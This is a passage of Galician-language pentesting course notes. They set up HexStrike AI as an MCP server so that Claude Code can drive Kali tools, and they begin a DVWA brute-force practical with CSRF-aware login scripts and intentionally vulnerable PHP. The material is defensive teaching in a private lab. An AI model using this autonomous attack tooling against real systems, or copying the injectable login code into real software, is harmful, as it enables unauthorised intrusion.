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1. De interese

O autor do presente documento declina calquera responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa información

exposta  no  mesmo.  Por  tanto,  non  se  fai  responsable  en  ningún  caso,  nin  pode  ser  considerado  legalmente  responsable  en  ningún  caso,  das

consecuencias que poidan derivarse da información contida nel ou que esté enlazada dende ou hacia el, incluíndo os posibles erros e información

incorrecta existentes, información difamatoria, así como das consecuencias que se poidan derivar sobre a súa aplicación en sistemas de información

reais e/ou virtuais.  Este documento foi  xerado para uso didáctico e debe ser empregado en contornas privadas e virtuais controladas co permiso

correspondente do administrador desas contornas.

HexStrike AI:

Homepage

GitHub

Kali

Youtube - How to install and connect hexstrike MCPs with AI Clients

Youtube - Is HexStrike the BEST AI MCP for Hacking? (Bug Bounty Tested)

Model Context Protocol — Documentación

Claude e Anthropic:

Claude.ai — Interface web

Claude — Planos e prezos

Claude Code — Produto

Claude — Documentación para desenvolvedores

Anthropic — Páxina oficial

Anthropic — Investigación

Anthropic — Noticias

GNU/Linux:

GitHub repoEDU-CCbySA - Comandos e SHELL bash 1

GitHub repoEDU-CCbySA - Comandos e SHELL bash 2

GitHub repoEDU-CCbySA - Comandos e SHELL bash 3

GitHub repoEDU-CCbySA - Comandos e SHELL bash 4

GitHub repoEDU-CCbySA - Comandos e SHELL bash 5
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https://www.hexstrike.com/
https://github.com/0x4m4/hexstrike-ai/
https://www.kali.org/tools/hexstrike-ai/
https://www.youtube.com/watch?v=pSoftCagCm8
https://www.youtube.com/watch?v=PQOwpjZXzMo
https://modelcontextprotocol.io
https://claude.com
https://claude.com/pricing
https://claude.com/product/claude-code
https://platform.claude.com/docs
https://www.anthropic.com
https://www.anthropic.com/research
https://www.anthropic.com/news
https://www.gnu.org/home.en.html
https://www.kernel.org/
https://raw.githubusercontent.com/ricardofc/repoEDU-CCbySA/main/SOM/GNU-Linux/Comandos_e_SHELL_bash_1_pageNumbers.pdf
https://raw.githubusercontent.com/ricardofc/repoEDU-CCbySA/main/SOM/GNU-Linux/Comandos_e_SHELL_bash_2_pageNumbers.pdf
https://raw.githubusercontent.com/ricardofc/repoEDU-CCbySA/main/SOM/GNU-Linux/Comandos_e_SHELL_bash_3_pageNumbers.pdf
https://raw.githubusercontent.com/ricardofc/repoEDU-CCbySA/main/SOM/GNU-Linux/Comandos_e_SHELL_bash_4_pageNumbers.pdf
https://raw.githubusercontent.com/ricardofc/repoEDU-CCbySA/main/SOM/GNU-Linux/Comandos_e_SHELL_bash_5_pageNumbers.pdf
https://squidfunk.github.io/mkdocs-material/
http://creativecommons.org/licenses/by-sa/4.0/
http://creativecommons.org/licenses/by-sa/4.0/
http://creativecommons.org/licenses/by-sa/4.0/


2. Apuntamentos

2.1 Ferramentas de Laboratorio

2.1.1 Instalación e Configuración de HexStrike AI + Claude Code en Kali Linux

Categoría: Apuntamentos — Ferramentas de Laboratorio

Aplicable a: Todas as prácticas de pentesting web con HexStrike AI

Sistema operativo: Kali Linux (atacante) — IP 10.0.2.250

Que é HexStrike AI?

HexStrike AI é un servidor MCP (Model Context Protocol) avanzado que permite que axentes de IA como Claude executen de forma autónoma

máis de 150 ferramentas de ciberseguridade. Actúa como ponte entre a linguaxe natural e as ferramentas reais do sistema operativo (nmap, ffuf,

hydra, sqlmap, hashcat...).

Sección

Kali Linux — IP 10.0.2.250

Claude Code
Linguaxe natural — Plan Pro claude.ai

Protocolo MCP (stdio)

hexstrike_mcp.py
Cliente MCP

HTTP localhost:8888

hexstrike_server.py
Servidor API

nmap · ffuf
hydra · nikto

sqlmap
hashcat · 150+
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O fluxo de traballo é o seguinte:

O alumno escribe en linguaxe natural dentro de Claude Code.

Claude Code comunícase con hexstrike_mcp.py  mediante o protocolo MCP.

O cliente MCP chama ao servidor hexstrike_server.py  (API REST en localhost:8888).

O servidor executa a ferramenta de Kali axeitada e devolve o resultado.

Claude interpreta os resultados e propón o seguinte paso.

Infraestrutura do laboratorio

PASO 1 — Actualización do sistema e ferramentas base

Abre un terminal en Kali Linux e executa:

O comando ls  debe mostrar o arquivo. Se non existe: 

1. 

2. 

3. 

4. 

5. 

Rede NAT — 10.0.2.0/24

Kali Linux
Atacante · 10.0.2.250/24

• HexStrike AI MCP

• Claude Code CLI

• ffuf / nmap

• hydra / hashcat

• sqlmap / ffuf / ...

Ubuntu Server
Obxectivo · 10.0.2.100/24

• Apache2 + PHP

• MariaDB

• DVWA

• http://10.0.2.100

• admin / password

# Actualizar o sistema
sudo apt update && sudo apt full-upgrade -y

# Instalar ferramentas necesarias para as prácticas
sudo apt install -y \

nmap ffuf hashcat curl \
python3 python3-pip python3-venv \
seclists tmux git

# Verificar que a wordlist de contrasinais está dispoñible
ls /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt

Resultado esperado

sudo find -L /usr/share/wordlists -name "*most_used*" 2>/dev/null

2.1.1 Instalación e Configuración de HexStrike AI + Claude Code en Kali Linux
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PASO 2 — Instalación de HexStrike AI

OPCIÓN A — DESDE APT (RECOMENDADA)

Verifica que os dous compoñentes quedaron instalados:

OPCIÓN B — DESDE O REPOSITORIO GITHUB

sudo apt install hexstrike-ai -y

hexstrike_server --help

hexstrike_mcp --help

git clone https://github.com/0x4m4/hexstrike-ai.git ~/hexstrike-ai
cd ~/hexstrike-ai
python3 -m venv hexstrike-env
source hexstrike-env/bin/activate
pip3 install -r requirements.txt

2.1.1 Instalación e Configuración de HexStrike AI + Claude Code en Kali Linux
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Repositorio: https://github.com/0x4m4/hexstrike-ai

Vídeo de instalación: YouTube — HexStrike AI Installation & Demo

PASO 3 — Instalación de Claude Code

Claude Code é o cliente oficial de Anthropic que se executa no terminal e que usaremos como interface de IA para controlar HexStrike.

A partir de 2025, Claude Code instálase cun script nativo oficial que non require Node.js nin npm — xestiona as súas propias dependencias e

actualízase automaticamente en segundo plano.

O patrón curl | bash  executa código remoto directamente. Como boa práctica, especialmente nun contorno de pentesting, descarga e revisa o script

antes de executalo:

O script execútase sen sudo  e instala Claude Code no directorio do usuario, non a nivel de sistema.

https://code.claude.com/docs/en/overview

A documentación oficial menciona instalación con apt  engadindo o repositorio de Anthropic. Con todo, en Kali Linux 2026.1 este paquete non está

dispoñible nos repositorios estándar, polo que o método do script install.sh  é o único verificado como funcional neste contorno.

Se queres comprobar se está dispoñible na túa versión: 

Referencia oficial

Seguridade: revisa o script antes de executalo

# 1. Descargar o script
curl -fsSL https://claude.ai/install.sh -o install_claude.sh

# 2. Revisar o contido
cat install_claude.sh

# 3. Executar só se o contido é de confianza
bash install_claude.sh

# Instalación directa (método rápido oficial para macOS, Linux e WSL)
curl -fsSL https://claude.ai/install.sh | bash

# Verificar a instalación
claude --version

Documentación oficial

Método alternativo: repositorio oficial de Anthropic

apt search claude-code

2.1.1 Instalación e Configuración de HexStrike AI + Claude Code en Kali Linux
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PASO 4 — Autenticación de Claude Code co Plan Pro

Se tes configurada a variable ANTHROPIC_API_KEY  no sistema, Claude Code usará facturación por API (pay-per-token) en lugar do Plan Pro incluído.

Para garantir que se usa o Plan Pro sen custos adicionais:

Autentica Claude Code coa túa conta de claude.ai (Plan Pro):

Segue o proceso no navegador usando as túas credenciais de Claude.ai. Non engadas credenciais de Claude Console durante o proceso.

Aparecerá no navegador a pantalla de autorización OAuth. É o paso normal de autenticación na primeira execución de claude  ou claude login . 

Simplemente fai clic en "Authorize".

Importante — Non usar API Key

# Eliminar a variable se está configurada
unset ANTHROPIC_API_KEY

# Verificar que non está no .bashrc nin .zshrc
grep -n "ANTHROPIC_API_KEY" ~/.bashrc ~/.zshrc 2>/dev/null

# Abrirá o navegador para autenticación con claude.ai
claude login

     1. Claude account with subscription · Pro, Max, Team, or Enterprise

2.1.1 Instalación e Configuración de HexStrike AI + Claude Code en Kali Linux
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O que ocorre nese momento:

Claude Code conecta coa túa conta de claude.ai

Consume o uso do teu Plan Pro (non da API)

A sesión queda autenticada no sistema — non terás que repetilo en cada uso

O que significan os permisos que se mostran:

• 

• 

• 

Permiso Para que serve

Access your Anthropic profile information Identificar a túa conta e plan

Contribute to your Claude subscription usage Descontar o uso do teu Plan Pro

Access your Claude Code sessions Xestionar as sesións do terminal

Use and manage your connectors Permitir os servidores MCP como HexStrike

Upload files on your behalf Subir ficheiros ao contexto de Claude

Your privacy settings apply to coding sessions Aplicar a túa configuración de privacidade

2.1.1 Instalación e Configuración de HexStrike AI + Claude Code en Kali Linux
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Se rexeitas, Claude Code non poderá autenticarse e non funcionará.

O Plan Pro inclúe Claude Code no terminal. Os límites de uso son compartidos entre claude.ai (web) e Claude Code (terminal). Para as prácticas de

laboratorio — sesións curtas con comandos acotados — o Plan Pro é suficiente.

Non fagas clic en Decline

Plan Pro e Claude Code
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Saír de momento da sesión de claude :

PASO 5 — Configurar HexStrike AI como servidor MCP

En Claude Code 2.x, os servidores MCP rexístranse mediante o comando claude mcp add  desde o terminal — non editando ficheiros JSON

manualmente. A configuración gárdase automaticamente en ~/.claude.json .

Executa este comando no terminal (fóra de Claude Code):

Para Opción A (apt) — hexstrike_mcp  está no PATH:

Para Opción B (GitHub) — apunta ao script Python:

Verifica que quedou rexistrado correctamente:

claude mcp add --transport stdio hexstrike-ai --scope user \
-- hexstrike_mcp --server http://127.0.0.1:8888

claude mcp add --transport stdio hexstrike-ai --scope user \
-- python3 /home/usuario/hexstrike-ai/hexstrike_mcp.py --server http://127.0.0.1:8888

Resultado esperado

Added stdio MCP server hexstrike-ai with command: hexstrike_mcp --server http://127.0.0.1:8888 to user config
File modified: /home/usuario/.claude.json

claude mcp list
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Claude Code garda a configuración en ~/.claude.json . Non é necesario editar este ficheiro manualmente. Para eliminar o servidor usa claude mcp 

remove hexstrike-ai .

PASO 6 — Arrancar o servidor HexStrike AI

Antes de usar Claude Code en cada sesión de prácticas, o servidor HexStrike debe estar en execución. Úsase tmux para manter a sesión activa en

segundo plano mentres se traballa.

SE INSTALACHES CON APT (OPCIÓN A) — RECOMENDADA

O comando hexstrike_server  está dispoñible directamente no PATH:

SE INSTALACHES DESDE GITHUB (OPCIÓN B)

É necesario activar primeiro o entorno virtual Python:

Debes ver a pantalla de arranque:

Resultado esperado

hexstrike-ai: hexstrike_mcp --server http://127.0.0.1:8888 - ✓ Connected

Parámetros do comando

Parámetro Significado

--transport stdio HexStrike comunícase por stdio co cliente MCP

--scope user Dispoñible en todos os proxectos do usuario

hexstrike-ai Nome do servidor MCP

-- Separador entre opcións de Claude e o comando do servidor

hexstrike_mcp --server http://127.0.0.1:8888 Comando que arranca o cliente MCP

Ficheiro de configuración

# Con tmux en segundo plano (recomendado)
tmux new-session -d -s hexstrike -n servidor
tmux send-keys -t hexstrike:servidor "hexstrike_server" C-m
tmux attach -t hexstrike # Ctrl+B, D para desconectar sen deter

# Ou nun terminal dedicado
hexstrike_server

# Con tmux en segundo plano
tmux new-session -d -s hexstrike -n servidor
tmux send-keys -t hexstrike:servidor \

"cd ~/hexstrike-ai && source hexstrike-env/bin/activate && python3 hexstrike_server.py" \
C-m

tmux attach -t hexstrike

# Ou nun terminal dedicado
cd ~/hexstrike-ai
source hexstrike-env/bin/activate
python3 hexstrike_server.py
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VERIFICAR QUE O SERVIDOR RESPONDE

Primeiro instala jq  se non está dispoñible:

A saída é JSON en bruto e difícil de ler. Para unha visualización máis amigable:

...
[INFO] Server starting on 127.0.0.1:8888
[INFO] 150+ integrated modules | Adaptive AI decision engine active

sudo apt install jq -y

curl http://localhost:8888/health | jq

# Resumo rápido: estado, versión, ferramentas e recursos do sistema
curl -s http://localhost:8888/health | jq '{
  estado: .status,
  mensaxe: .message,
  version: .version,
  uptime_min: (.uptime_seconds / 60 | round),
  ferramentas: {
    dispoñibles: .total_tools_available,
    total: .total_tools_count
  },
  categorias: .category_stats,
  sistema: .telemetry.system_metrics,
  execucions: {
    total: .telemetry.commands_executed,
    exito: .telemetry.success_rate,
    tempo_medio: .telemetry.average_execution_time
  }
}'

2.1.1 Instalación e Configuración de HexStrike AI + Claude Code en Kali Linux
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O servidor está operativo cando "status": "healthy" . O resto dos campos indican:

As ferramentas que aparecen como false  simplemente non están instaladas en Kali — non é un erro. HexStrike soporta 127 ferramentas pero non

todas son necesarias. Para as prácticas de DVWA todas as relevantes están dispoñibles.

PASO 7 — Arrancar Claude Code con HexStrike activo

VERIFICAR QUE HEXSTRIKE MCP ESTÁ CONECTADO

Dentro de Claude Code, escribe:

Resultado esperado

{
"all_essential_tools_available": true,
"message": "HexStrike AI Tools API Server is operational",
"status": "healthy",
"version": "6.0.0",
"total_tools_available": 78,
"total_tools_count": 127,
"telemetry": {

"average_execution_time": "0.01s",
"commands_executed": 222,
"success_rate": "35.1%",
"system_metrics": {

"cpu_percent": 1.5,
"disk_usage": 30.6,
"memory_percent": 13.0

}
},
"category_stats": {

"essential": { "available": 8, "total": 8 },
"web_security": { "available": 13, "total": 19 },
"network": { "available": 9, "total": 10 },
"password": { "available": 4, "total": 5 },
"wireless": { "available": 4, "total": 4 }

}
}

Campo Significado

all_essential_tools_available true  — as ferramentas imprescindibles están listas

total_tools_available Ferramentas de Kali realmente instaladas e listas

total_tools_count Total de ferramentas que HexStrike soporta

category_stats.essential Debe ser 8/8  — son as imprescindibles para as prácticas

telemetry.success_rate Taxa de éxito dos comandos (os fallos son maiormente chequeos

de ferramentas non instaladas)

system_metrics.cpu_percent Consumo de CPU do servidor (debe ser baixo)

# Ver só as ferramentas relevantes para as prácticas de DVWA
curl -s http://localhost:8888/health | jq '.tools_status |
  to_entries |
  map(select(.key | test("ffuf|hydra|nmap|sqlmap|nikto|gobuster|hashcat|john|burpsuite|xsser|wfuzz|zaproxy|dirb|dirsearch"))) |
  from_entries'

Ferramentas non dispoñibles ( false )

# Crear o directorio de traballo para as prácticas (só a primeira vez)
mkdir -p ~/dvwa-lab && cd ~/dvwa-lab

# Arrancar Claude Code
# HexStrike MCP cargará automaticamente ao iniciar
claude

/mcp
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Debe aparecer hexstrike-ai  na lista de servidores MCP activos con estado connected .

Claude Code arranca e le automaticamente o ficheiro ~/.config/claude/claude_desktop_config.json

Atopa a entrada hexstrike-ai  e tenta conectar co servidor MCP definido nela

Como o servidor HexStrike xa está en execución en localhost:8888 , a conexión establécese de inmediato

Claude Code queda listo para usar HexStrike como ferramenta

É exactamente como ter un enchufe e un aparato xa conectado á corrente — ao arrincar Claude Code simplemente "detecta" que HexStrike está aí e

úsao.

Podes verificalo nada máis entrar en Claude Code escribindo /mcp  — debería aparecer hexstrike-ai  con estado connected  sen ter que facer nada

máis.

O único requisito é que a orde importa: HexStrike debe estar en execución antes de arrancar Claude Code. Se arrancas Claude Code primeiro e logo

HexStrike, a conexión MCP non se establecerá automaticamente e terás que reiniciar Claude Code.

EXECUTAR COMANDOS DO SISTEMA DESDE DENTRO DE CLAUDE CODE

Non é necesario saír de Claude Code para executar comandos no terminal. Usa o prefixo ! :

Ou simplemente pídelle a Claude Code que execute calquera tarefa en linguaxe natural e el lanzará os comandos necesarios.

Agora cando executas claude

1. 

2. 

3. 

4. 

! ls ~/.config/claude/
! curl http://localhost:8888/health
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Pregunta:

❯ En que consiste DVWA? Sé escueto na resposta. Responde en galego.

Resposta:

● DVWA (Damn Vulnerable Web Application) é unha aplicación web PHP/MySQL deliberadamente vulnerable, deseñada para practicar técnicas de

pentesting nun entorno legal e controlado. Cobre vulnerabilidades como SQLi, XSS, CSRF, File Inclusion e Command Injection, con niveis de dificultade

axustables (Low/Medium/High/Impossible).

SAÍR DE CLAUDE CODE

Para saír escribe exit  ou preme Ctrl+C . Verás o seguinte mensaxe — é normal:

A sesión co Plan Pro gárdase de forma permanente no sistema. A próxima vez que necesites Claude Code simplemente executa claude  no terminal —

non é necesario repetir claude login . O fluxo de uso diario é:

Resumo do fluxo de arranque

Cada vez que se traballe no laboratorio, a orde de arranque é sempre a mesma:

Referencia rápida de comandos dentro de Claude Code

Estrutura de ficheiros relevantes

Opción A (apt) — instalación do sistema:

Exemplo

Resume this session with:
claude --resume <id-da-sesion>
$

A autenticación é persistente — non precisas facer login cada vez

# Cada sesión de prácticas:
hexstrike_server # Terminal 1: arrancar HexStrike
cd ~/dvwa-lab && claude # Terminal 2: entrar en Claude Code

# 1. Arrancar o servidor HexStrike (Terminal 1 ou tmux)

# → Se instalaches con apt (Opción A):
hexstrike_server

# → Se instalaches desde GitHub (Opción B):
cd ~/hexstrike-ai && source hexstrike-env/bin/activate && python3 hexstrike_server.py

# 2. Arrancar Claude Code (Terminal 2)
cd ~/dvwa-lab && claude

Comando Descrición

/mcp Lista os servidores MCP conectados e o seu estado

/status Mostra o estado da sesión e o uso de tokens

/help Axuda xeral de Claude Code

Ctrl + C Cancelar a execución dunha tarefa en curso

exit Saír de Claude Code
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Opción B (GitHub) — instalación manual:

Resolución de problemas habituais

O servidor HexStrike non arranca

Claude Code non detecta HexStrike MCP

Erro de autenticación ao facer claude login

Claude Code usa API Key en vez do Plan Pro

/usr/bin/hexstrike_server           ← Comando do servidor (no PATH)
/usr/bin/hexstrike_mcp              ← Comando do cliente MCP (no PATH)

~/.config/claude/
└── claude_desktop_config.json      ← Configuración MCP de Claude Code

~/dvwa-lab/                         ← Directorio de traballo das prácticas

~/hexstrike-ai/
├── hexstrike_server.py             ← Servidor API (porto 8888)
├── hexstrike_mcp.py                ← Cliente MCP para Claude
├── hexstrike-env/                  ← Entorno virtual Python
└── requirements.txt

~/.config/claude/
└── claude_desktop_config.json      ← Configuración MCP de Claude Code

~/dvwa-lab/                         ← Directorio de traballo das prácticas

# Comprobar que o porto 8888 non está ocupado
ss -tlnp | grep 8888
# Liberar o porto se é necesario
kill $(lsof -t -i:8888)

# Verificar que o ficheiro JSON é válido
python3 -c "
import json, os
path = os.path.expanduser('~/.config/claude/claude_desktop_config.json')
json.load(open(path))
print('JSON válido')
"
# Reiniciar Claude Code tras calquera cambio no ficheiro

claude logout
claude login

# Comprobar se hai API Key no entorno
env | grep ANTHROPIC
# Eliminar se aparece
unset ANTHROPIC_API_KEY
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2.1.2 Límites de Uso de Claude.ai e Claude Code

Categoría: Apuntamentos — Ferramentas de Laboratorio

Aplicable a: Todas as prácticas con HexStrike AI + Claude Code

Última verificación: Abril 2026

A resposta honesta: Anthropic non publica un número fixo

Anthropic non publica un número fixo de tokens por día para os plans de consumidor. O uso no Plan Free resétase cada cinco horas, e Pro e Max

dan máis capacidade máis límites semanais. O límite real cambia segundo a lonxitude das conversas, os anexos, as ferramentas usadas, o modelo

elixido e a demanda actual.

O que moita xente chama "límite de tokens por día" é en realidade un de catro sistemas diferentes:

Uso do plan Free

Capacidade de sesión Pro ou Max

Límite da xanela de contexto

Uso de Claude Code ou API

O sistema real: ventás de 5 horas, non días

O mecanismo de control de uso funciona con ventás de 5 horas, non con límites diarios:

Estimacións por plan (documentadas pola comunidade)

Os usuarios do Plan Pro teñen acceso a aproximadamente 44.000 tokens por ventá de 5 horas, o que equivale a entre 10 e 40 prompts segundo a

complexidade das tarefas.

Estes valores son estimacións documentadas pola comunidade. Anthropic non os publica oficialmente. O límite real pode variar segundo o modelo

usado, a hora do día e a demanda do sistema.

Sección

• 

• 

• 

• 

Primeira mensaxe da sesión
        ↓
Abre ventá de 5 horas
        ↓
Consumes tokens ata o límite do plan
        ↓
Ao esgotarse: espera ao reset da ventá
        ↓
Nova ventá de 5 horas dispoñible

Plan Tokens por ventá 5h Multiplicador

Free ~8.800 1x

Pro (20 €/mes) ~44.000 5x

Max 5x (100 €/mes) ~88.000 10x

Max 20x (200 €/mes) ~220.000 25x

Estimacións non oficiais

2.1.2 Límites de Uso de Claude.ai e Claude Code
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Un único "bote" para todas as superficies

O uso en todas as superficies de Claude — claude.ai, Claude Code e Claude Desktop — conta contra o mesmo límite de uso.

Límites semanais ademais dos de 5 horas

Ademais das ventás de 5 horas, Anthropic aplica límites semanais que resétanse cada sete días. Inclúen un límite xeral de uso e un límite separado

para os modelos Opus. Anthropic indica que estes límites afectan a menos do 5% dos subscritores segundo os seus patróns de uso.

Para sesións curtas de pentesting con DVWA — prompts puntuais, comandos curtos, respostas acoutadas — o Plan Pro é máis que suficiente. Unha

sesión completa dunha práctica (por exemplo, nivel Low de Brute Force con HexStrike) consume moi por baixo do límite de 44.000 tokens por ventá de 5

horas.

Ferramentas e conectores consumen máis tokens

As ferramentas e os conectores son intensivos en tokens, polo que xestionalos axuda tanto a maximizar a xanela de contexto dispoñible como a

optimizar os límites de uso.

No contexto de HexStrike AI, cada chamada MCP — cada vez que Claude Code usa hexstrike-ai  para executar un comando — consume tokens

adicionais ademais do propio prompt e a resposta. Isto é especialmente relevante en:

Ataques con moitos intentos (wordlists longas)

Sesións con moitas chamadas a ferramentas encadeadas

Conversas longas con moito historial acumulado

Consellos para optimizar o uso

Dentro de Claude Code:

Boas prácticas:

Iniciar sesión nova ( claude ) para cada práctica en vez de reanudar sesións longas

Usar prompts directos e concisos — evitar conversas exploratorias longas antes do ataque

Se se esgota a ventá de 5 horas, esperar ao reset en vez de cambiar de plan

Información adicional e estado do servizo

Claude — Planos e prezos

Claude — Centro de soporte: límites de uso

┌─────────────────────────────────────────────┐
│           PLAN PRO — ~44.000 tokens/5h      │
│                                             │
│  claude.ai (web) ──┐                        │
│  Claude Code CLI ──┼──► mesmo límite        │
│  Claude Desktop ───┘                        │
└─────────────────────────────────────────────┘

Para as prácticas de DVWA

• 

• 

• 

/cost      ← Ver o consumo actual da sesión
/compact   ← Comprimir o historial para reducir tokens de contexto
/model     ← Cambiar a un modelo máis lixeiro para tarefas sinxelas

• 

• 

• 

• 

• 
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Estado dos servizos de Anthropic

Os límites de uso de Anthropic cambian con frecuencia. Ante calquera dúbida, consulta sempre a páxina oficial de prezos ou o centro de soporte.

Sección: Apuntamentos — Ferramentas de Laboratorio

Límites de uso de Claude.ai e Claude Code — Plan Pro

• 

Información cambiante

2.1.2 Límites de Uso de Claude.ai e Claude Code
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3. Prácticas Taller

3.1 Brute Force

3.1.1 Práctica 1 — Ataques de Forza Bruta sobre DVWA

Sección: Prácticas Taller

Módulo: O hacking ético nas aplicacións web

Práctica: 1 — DVWA Brute Force 

Todo o contido desta práctica é para uso exclusivamente educativo nun contorno de laboratorio controlado e legal. Está terminantemente prohibido

aplicar estas técnicas en sistemas reais sen autorización explícita e por escrito do propietario do sistema. O uso non autorizado destas técnicas pode

constituír un delito penal.

Estrutura da práctica

Esta práctica divídese en dúas partes complementarias:

Orde recomendada: fai primeiro a Práctica 1a para entender o mecanismo técnico, e despois a Práctica 1b para ver como a IA automatiza o

mesmo proceso.

Parámetros do laboratorio

Sección

Aviso legal

Ficheiro Contido

1a — Ataque manual con hydra Resolución nos catro niveis usando hydra desde o terminal

1b — Ataque con HexStrike AI Resolución automatizada usando Claude Code + HexStrike MCP

Parámetro Valor

URL DVWA http://10.0.2.100/dvwa/

Credenciais DVWA admin  / password

IP Atacante (Kali) 10.0.2.250

IP Obxectivo (DVWA) 10.0.2.100

Wordlist /usr/share/wordlists/seclists/Passwords/Common-Credentials/

2020-200_most_used_passwords.txt

3. Prácticas Taller
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Obxectivos de aprendizaxe

Ao rematar esta práctica o alumnado será capaz de:

Comprender o concepto de ataque de forza bruta contra formularios de autenticación web.

Entender por que é necesario autenticarse en DVWA antes de atacar a sección Brute Force.

Executar ataques de forza bruta con hydra nos catro niveis de DVWA.

Analizar o código fonte PHP vulnerable e identificar os fallos de implementación en cada nivel.

Comprender por que certas proteccións son insuficientes e como evolucionan de nivel en nivel.

Comparar o enfoque manual co enfoque automatizado mediante HexStrike AI.

Propoñer medidas de mitigación axeitadas para un sistema de autenticación robusto.

Conceptos previos

QUE É UN ATAQUE DE FORZA BRUTA?

Un ataque de forza bruta (brute force) contra un formulario de autenticación consiste en probar sistematicamente pares usuario/contrasinal ata

atopar a combinación correcta. Este proceso repetitivo automatízase mediante ferramentas específicas e dicionarios (wordlists) con miles ou millóns

de entradas, como os de SecLists ou rockyou.txt.

TIPOS DE ESTRATEXIA DE ATAQUE

Nesta práctica traballaremos coa estratexia Sniper: usuario coñecido ( admin ) e ataque ao campo contrasinal.

POR QUE É NECESARIO O PHPSESSID?

A sección de Brute Force de DVWA está dentro da zona protexida da aplicación. Calquera petición sen sesión válida é redirixida automaticamente

ao login:

Tanto hydra como HexStrike AI necesitan incluír a cookie de sesión PHPSESSID  en cada petición para que o servidor as trate como se proviñesen

dun usuario autenticado.

• 

• 

• 

• 

• 

• 

• 

Estratexia Descrición Cando usar

Sniper Proba un dicionario nunha única posición

(ex: contrasinal coñecendo o usuario)

Usuario coñecido, ataque de contrasinal

Battering Ram Introduce a mesma palabra en todos os

campos á vez

Probar o mesmo valor en varios parámetros

Pitchfork Ataca varias posicións con dicionarios

diferentes en paralelo

Credential stuffing con pares coñecidos

Cluster Bomb Proba todas as combinacións posibles de

varios dicionarios

Enumerar usuario e contrasinal ao mesmo

tempo

Sen sesión:

  GET /dvwa/vulnerabilities/brute/  →  302 Redirect → /dvwa/login.php  ✗

Con sesión válida:
  GET /dvwa/vulnerabilities/brute/

  Cookie: PHPSESSID=abc123; security=low  →  200 OK + formulario  ✓

3.1.1 Práctica 1 — Ataques de Forza Bruta sobre DVWA
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Login en DVWA e obtención da sesión

O formulario de login de DVWA inclúe un token anti-CSRF que cambia en cada petición. Sen enviar este token, o servidor ignora o POST e non inicia

sesión. O mesmo ocorre co formulario de cambio de nivel en security.php . Por iso o proceso require catro pasos.

PROCESO COMPLETO VERIFICADO

O ficheiro de cookies só existe na sesión actual do terminal. Se abres un terminal novo debes repetir o proceso ou exportar a variable: 

VERIFICAR O ACCESO Á SECCIÓN BRUTE FORCE

Un 302  indica que a sesión non é válida ou que o nivel non se cambiou correctamente. Repite o proceso completo.

CAMBIAR O NIVEL ENTRE SECCIÓNS

Para cambiar de nivel entre niveis da práctica, repite os pasos 3 e 4:

O login en DVWA require token CSRF

# Crear un ficheiro de cookies temporal
COOKIEJAR=$(mktemp /tmp/dvwa_cookies_XXXXXX.txt)

# Paso 1: GET login.php para obter o token CSRF do formulario de login
TOKEN=$(curl -s -c "$COOKIEJAR" \

http://10.0.2.100/dvwa/login.php \
| grep -oP "user_token.*?value='\\K[^']+")

echo "Token login: $TOKEN"

# Paso 2: POST login con credenciais + token CSRF
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST \

http://10.0.2.100/dvwa/login.php \
-d "username=admin&password=password&Login=Login&user_token=$TOKEN" \
| grep -o "You have logged in as '[^']*'"

echo "PHPSESSID: $(grep PHPSESSID $COOKIEJAR | awk '{print $7}')"

# Paso 3: GET security.php para obter o token CSRF do formulario de nivel
SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \

http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")

echo "Token security: $SEC_TOKEN"

# Paso 4: POST security.php para cambiar o nivel (substitúe "low" polo nivel desexado)
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST \

http://10.0.2.100/dvwa/security.php \
-d "security=low&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"

echo "Ficheiro de cookies: $COOKIEJAR"

Resultado esperado

Token login: 782f8ee73c56a3d0ca112a469eff9343
PHPSESSID: qr70dpmtcv5p2s1btstl0odle6
Token security: 767d507b88de00b0fb814bde12fc4c37
Ficheiro de cookies: /tmp/dvwa_cookies_ffPTsm.txt

Variable COOKIEJAR

export COOKIEJAR="/tmp/dvwa_cookies_ffPTsm.txt"

curl -s -b "$COOKIEJAR" \
-o /dev/null \
-w "HTTP Status Brute Force: %{http_code}\n" \
http://10.0.2.100/dvwa/vulnerabilities/brute/

Resultado esperado

HTTP Status Brute Force: 200

3.1.1 Práctica 1 — Ataques de Forza Bruta sobre DVWA
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Análise dos niveis de seguridade

NIVEL LOW — SEN NINGUNHA MEDIDA DE SEGURIDADE

O formulario usa o método GET sen protección ningunha:

Código PHP:

Fallos: sen sanitización, sen retardo, sen límite de intentos, sen token anti-CSRF, consulta SQL inxectable.

NIVEL MEDIUM — RETARDO FIXO DE 2 SEGUNDOS

O programador engade  sleep(2)  en cada intento fallido.  Non impide o ataque, pero aumenta o tempo necesario.  Con 200 contrasinais e 2

segundos por intento, o ataque pode tardar ata ~400 segundos no peor caso.

Código PHP:

Melloras: sanitización básica, retardo de 2s.

Problemas que persisten: retardo fixo e coñecible, sen límite de intentos, sen bloqueo, sen token anti-CSRF.

# Obter token CSRF de security.php
SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \

http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")

# Cambiar o nivel (substitúe "medium" polo nivel desexado)
NIVEL="medium"
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST \

http://10.0.2.100/dvwa/security.php \
-d "security=${NIVEL}&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"

GET /dvwa/vulnerabilities/brute/?username=admin&password=abc123&Login=Login HTTP/1.1
Cookie: security=low; PHPSESSID=ou50vbil75pgsn9qgrj7q929sp8

<?php
if( isset( $_GET[ 'Login' ] ) ) {

$user = $_GET[ 'username' ]; // Sen sanitización
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query);

if( $result && mysqli_num_rows( $result ) == 1 ) {
echo "<p>Welcome to the password protected area {$user}</p>";

} else {
echo "<pre>Username and/or password incorrect.</pre>";
// Sen retardo, sen bloqueo, sen ningunha protección

}
}
?>

<?php
if( isset( $_GET[ 'Login' ] ) ) {

